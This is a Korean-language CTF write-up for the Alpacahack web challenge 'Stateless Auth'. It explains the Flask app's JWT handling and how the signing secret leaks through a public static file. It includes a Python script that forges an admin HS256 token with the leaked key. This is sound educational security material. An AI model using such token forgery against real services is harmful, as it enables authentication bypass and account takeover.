Alpacahack: Stateless Auth

2026. 1. 25. 23:59·Alpacahack
반응형

Topic: JWT

분야: Web

난이도:Medium

Why do you need a dayabase?


코드분석

if not os.path.exists("static/jwt_secret.txt"):
    JWT_SECRET = random.randbytes(32).hex()
    with open("static/jwt_secret.txt", "w") as f:
        f.write(JWT_SECRET)
else:
    with open("static/jwt_secret.txt") as f:
        JWT_SECRET = f.read()

JWT_EXP = 60 * 60
FLAG = os.environ.get("FLAG", "Alpaca{REDACTED}")
  • "static/jwt_secret.txt"가 없다면 JWT_SECRET을 32바이트 랜덤으로 만들고, static/jwt_secret.txt에 덮어쓰겠다.
  • 만약 있다면 그대로 읽고, 쓰겠다.
  • JWT_EXP: JWT 만료시간(제한시간)을 1시간으로 설정
def issue_token(username: str) -> str:
    payload = {
        "sub": username,
        "iat": int(time.time()),
        "exp": int(time.time()) + JWT_EXP,
    }
    return jwt.encode(payload, JWT_SECRET, algorithm="HS256")
  • username문자열을 입력받고 문자열 형태로 토큰을 돌려줌
  • JWT안에는 sub, iat, exp 넣음
    • sub: 주체로 username(사용자명)
    • iat: 발급시간. 지금시간
    • exp: 만료시간. 지금시간 + 1시간
  • payload를 JWT_SECRET으로 HS256 방식으로 서명해서 리턴
def verify_token(token: str):
    return jwt.decode(token, JWT_SECRET, algorithms=["HS256"])
  • 토큰 검증용 함수
@app.get("/")
def index():
    return render_template("login.html")
  • index메인 화면은 login.html렌더링해서 보여줌
@app.post("/login")
def login():
    username = request.form.get("username", "")

    if not username:
        return render_template("login.html", error="username required")

    if username.lower() == "admin":
        return render_template("login.html", error="admin is forbidden")

    token = issue_token(username)

    resp = make_response(redirect(url_for("dashboard")))
    resp.set_cookie(
        "token",
        token,
        httponly=True,
    )
    return resp
  • username을 이용자로부터 입력받음
  • username이 비어있으면 login.html 보여주면서 에러메시지 출력
  • username이 admin은 login.html 보여주면서 admin접근 금지
  • issue_token으로 JWT발급
  • 응답 객체를 만들고 /dashboard로 리다이렉트하게 준비
    • 쿠키 이름은 token이고, token에 JWT를 저장
    • httponly=True로 JS로 쿠키를 못 읽게 하는 옵션
@app.get("/dashboard")
def dashboard():
    token = request.cookies.get("token")
    if not token:
        return redirect(url_for("index"))

    try:
        payload = verify_token(token)
    except:
        return redirect(url_for("index"))

    return render_template(
        "dashboard.html",
        username=payload["sub"],
        flag=FLAG if payload["sub"] == "admin" else "No flag for you!"
  • /dashboard는 쿠키에서 token을 꺼냄
  • 토큰이 없으면 index로 돌아감
  • verify_token()으로 토큰을 검사 → 실패 시 index로 돌아감
  • 검증 서옹시  dashboard.html 렌더링하고 username에 payload["sub"]를 넘김
  • sub가 admin일 때 FLAG 보여줌

취약점 분석

  • /static/jwt_secret.txt에 아무나 접근이 가능함. → JWT_SECRET(비밀키)가 있음
  • 또한 서명만 맞으면 sub=="admin"으로 플래그가 바로 노출됨.
    → 근데 비밀키가 노출되어 있음..

익스플로잇

/static/jwt_secret.txt에 들어가 비밀키를 확인

 

그다음, admin 토큰을 위조하기 위해 다음과 같은 페이로드 작성

import json, hmac, hashlib, base64

# 패딩 제거용 헬퍼 함수
def b64_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=')

# 1. 시크릿 키 설정 (파일에서 읽어온 값 넣기)
key = b"여기에_secret_값_복붙"

# 2. 헤더랑 페이로드 구성
# 최대한 가볍게 가려고 한 줄로 밀어넣음
header = b64_encode(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
payload = b64_encode(json.dumps({"sub":"admin"}).encode())

# 3. 서명(Signature) 만들기
raw_token = header + b"." + payload
signature = b64_encode(hmac.new(key, raw_token, hashlib.sha256).digest())

# 4. 최종 토큰 출력
jwt_token = (raw_token + b"." + signature).decode()
print(f"[+] Generated Token: \n{jwt_token}")

 

만들어진 admin 토큰을

쿠키에 token이란 이름으로 생성

 

/dashboard에서 확인해주면 끝

반응형

'Alpacahack' 카테고리의 다른 글

Magic Engine  (0) 2026.02.05
Alpacahack: No JS  (0) 2026.02.01
Alpacahack: Animal Viewer  (0) 2026.01.22
Alpacahack: dice roll  (0) 2026.01.21
Alpacahack: secret-table  (0) 2026.01.20
'Alpacahack' 카테고리의 다른 글
  • Magic Engine
  • Alpacahack: No JS
  • Alpacahack: Animal Viewer
  • Alpacahack: dice roll
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    webstudy
    cve
    JS
    xss
    hacking
    alpacahack
    LLM
    드림핵
    DreamHack
    webhacking
    CSRF
    JavaScript
    web
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
Alpacahack: Stateless Auth
상단으로

티스토리툴바